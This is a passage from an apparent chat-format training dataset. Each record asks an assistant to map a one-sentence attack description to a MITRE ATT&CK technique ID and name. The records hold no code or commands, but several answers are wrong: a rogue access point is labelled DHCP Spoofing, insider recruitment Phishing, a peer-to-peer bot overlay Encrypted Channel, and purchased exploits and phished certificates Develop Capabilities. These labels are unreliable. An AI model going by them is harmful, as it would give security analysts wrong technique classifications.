                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged an unpatched vulnerability in the Linux kernel to gain execution rights and deploy custom hacking tools."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a legitimate third‑party service’s webhook endpoint to exfiltrate data from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queues an APC with malicious shellcode and triggers it by putting the target thread into an alertable state."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware includes a module that replaces secure AES‑256 encryption with AES‑128, thereby lowering the key entropy."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a bogus signature in a payload, causing antivirus software to treat it as a trusted file."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware renamed its malicious binary to \"explorer.exe\" and copied it into the C:\\Windows\\System32 folder to appear as a legitimate Windows process."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends broadcast packets to detect active DHCP servers and their lease ranges on the target network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion chain begins with a compromised third‑party website that serves a malicious PDF; opening the PDF triggers a drive‑by execution of a command‑and‑control implant on the victim’s device."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leveraged a compromised service account to request a new authentication certificate from the enterprise AD CS server via a forged certificate signing request."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a reflective loader in a macro, which reads and executes code from a network share directly in memory."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a compromise, the intruder adds a new key to the /etc/rc.plist to execute commands on system boot."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor issued \"docker exec\" to run a privileged script that added a new user to the container image."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell to query Exchange Server mailboxes and exfiltrate emails and attachments."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group sets the operating system's power options to high performance to avoid detection during idle periods."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves extracting LSASS memory and specifically targeting the LSA Secrets portion."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool sets up a duplex connection through a web service, allowing the attacker to push commands and pull results."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members attach a covert Raspberry Pi to the victim’s desktop, configuring it to act as a reverse shell beacon."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware injects code into the LastPass browser extension to capture master passwords and stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor configures a mailbox rule to automatically send copies of received emails to an external server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious JavaScript in a compiled HTML Help file and trigger its execution through the Windows HTML Application Host, using a trusted binary as a proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group harvests a collection of remote access tools from a hacked developer's GitHub repository to bolster their capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder initiates a lightweight beacon over DNS, and once the secondary payload is executed, it shifts to a full‑duplex encrypted TCP channel."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deployed a Python interpreter to run a script that harvested credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group utilized publicly accessible TeamViewer sessions to control compromised workstations from outside the network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker uses a script to force the operating system into high-performance mode, disabling energy-saving features that might suspend malicious services."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access tool configures an external proxy to tunnel traffic, evading network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages MAPI calls to enumerate and dump emails from the local Exchange cache."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform a man-in-the-middle attack on HTTP communications, injecting malicious scripts into responses."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create and utilize a rogue wireless access point to intercept network communications"
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries drop a file named 'photo.jpg.vbs' which runs a Visual Basic script."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary obtained a code signing certificate via a phishing attack on a certificate authority employee."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor launches an ICMP echo request flood targeting an application that logs each request, filling up log storage and causing service disruption."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the svchost.exe process by registering a new service DLL that is loaded and executed by the system service host."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that encrypts stolen passwords with a reversible method, enabling later decryption for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor utilizes the System Binary Proxy Execution technique by launching a tainted .msc via mmc.exe to gain execution on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool inspects the Windows event log for typical user logon events and remains dormant when such events are absent."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a timestomping tool to synchronize malicious file timestamps with those of a known good file."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware issues a series of HEAD requests to a control server, embedding encrypted commands in headers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain unauthorized access to a victim’s cloud‑hosted API endpoint by exploiting weak authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses launchd to execute a script that modifies firewall rules for inbound C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder scrapes the /etc/passwd and /etc/shadow files on a Linux host to collect user account configurations and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script changes the NTFS \"Hidden\" flag on a malicious PowerShell script to evade detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a system, the group uses rsync to push data to a remote Linux box they control as a staging area."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses reg load to import a Registry hive containing credential data extracted from a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group purchases pop‑up ad inventory on adult sites to deliver a downloader that installs a remote access tool."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a custom DLL to create counterfeit alerts from the endpoint protection agent, suggesting a system scan is required."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool calls RegSvcs to register malicious .NET code, effectively bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a peer‑to‑peer overlay network to coordinate bots without a central server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute a PowerShell script that calls Microsoft Graph /groups endpoint, extracting group IDs and membership details from Office 365."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor clears persistence indicators by deleting autostart registry values and wiping task scheduler entries."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchases an exploit for a privilege escalation vulnerability in a virtualization platform to enhance their sandbox escape techniques."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary ran a custom Python script that iterated over every IP in the target's 10.0.0.0/8 block, sending ICMP echo requests to map active devices."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a phishing campaign, victims receive an email with a link to an HTML file that contains a data URI with a compressed shellcode, which is extracted and run in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign targeted backup servers, encrypting backup archives to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team registers a domain for a fake software update site to deliver payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.001 – Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs a domain generation algorithm (DGA) to resolve random domain names for command retrieval."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code accesses the securityd memory block to exfiltrate user tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious service is installed that automatically starts a hidden process when the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the IIS Application Pool identities to gain elevated privileges and access to sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan changes the value of the DisableTaskMgr registry setting to prevent users from opening Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors searched for unsecured Group Policy Preference configurations and harvested the embedded cpassword values to compromise accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a crafted Windows shortcut, the attacker causes Verclsid.exe to execute a malicious script, bypassing application controls."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses an insider threat tactic, recruiting or coercing an individual with authorized access to compromise a system or steal sensitive information from within."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was used to modify stored policy files, allowing the attacker to relax security controls."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Component Object Model (COM) by spawning a hidden COM object to relay data between a low‑privilege user process and a high‑privilege service."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage malware extracts browsing history and saved cookies from Chrome and Firefox and exfiltrates them in JSON format."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware sets the DYLD_INSERT_LIBRARIES variable on macOS to inject a malicious library into a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link that triggers the execution of a malicious PowerShell command via the command prompt."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware not only encrypts files but also includes a component designed to escalate the attackers' privileges on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the ability to read a user's .bash_history to extract embedded AWS access keys typed in prior commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a trojan that automatically replicates to all removable storage devices, such as external hard drives and SD cards, when they are connected."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use compromised CDN resources to host a malicious script that automatically runs a privilege‑escalation exploit on any visitor’s system, exemplifying the Drive‑by Target technique."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves modifying the registry key for Netsh Helper DLLs to point to a malicious library, then running netsh to execute it."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Google Form is shared through a targeted email, prompting victims to enter credentials which are then exfiltrated by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using legitimate admin shares like ADMIN$ and C$, the attacker bypasses firewalls and moves laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code spawns svchost.exe with customized arguments that disguise its true purpose, bypassing process monitoring."
            },
            {
                "role": "assistant",
